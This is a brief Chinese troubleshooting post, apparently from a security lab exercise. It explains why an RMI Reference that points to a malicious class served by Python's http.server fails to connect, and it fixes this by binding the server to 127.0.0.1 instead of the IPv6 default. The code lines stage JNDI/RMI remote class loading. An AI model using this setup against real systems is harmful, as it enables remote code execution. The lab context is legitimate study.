解决RMI无法连接python开启的http服务
问题描述当我们使用python3开启http服务后 1python -m http.server 8080 然后使用RMI去连接这个目录下的恶意类,发现连接失败,python端没有任何回显 12Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");initialContext.rebind("rmi://localhost:1099/remoteObj",refObj); 问题解决在python3新的版本中一开始的写法是默认开启的ipv6应该使用下面这种方式来开启http 1python -m http.server 7777 --bind 127.0.0.1 我们从图中也能看出,ip地址从[::]变成了127.0.0.1 再次使用RMI连接,连接成功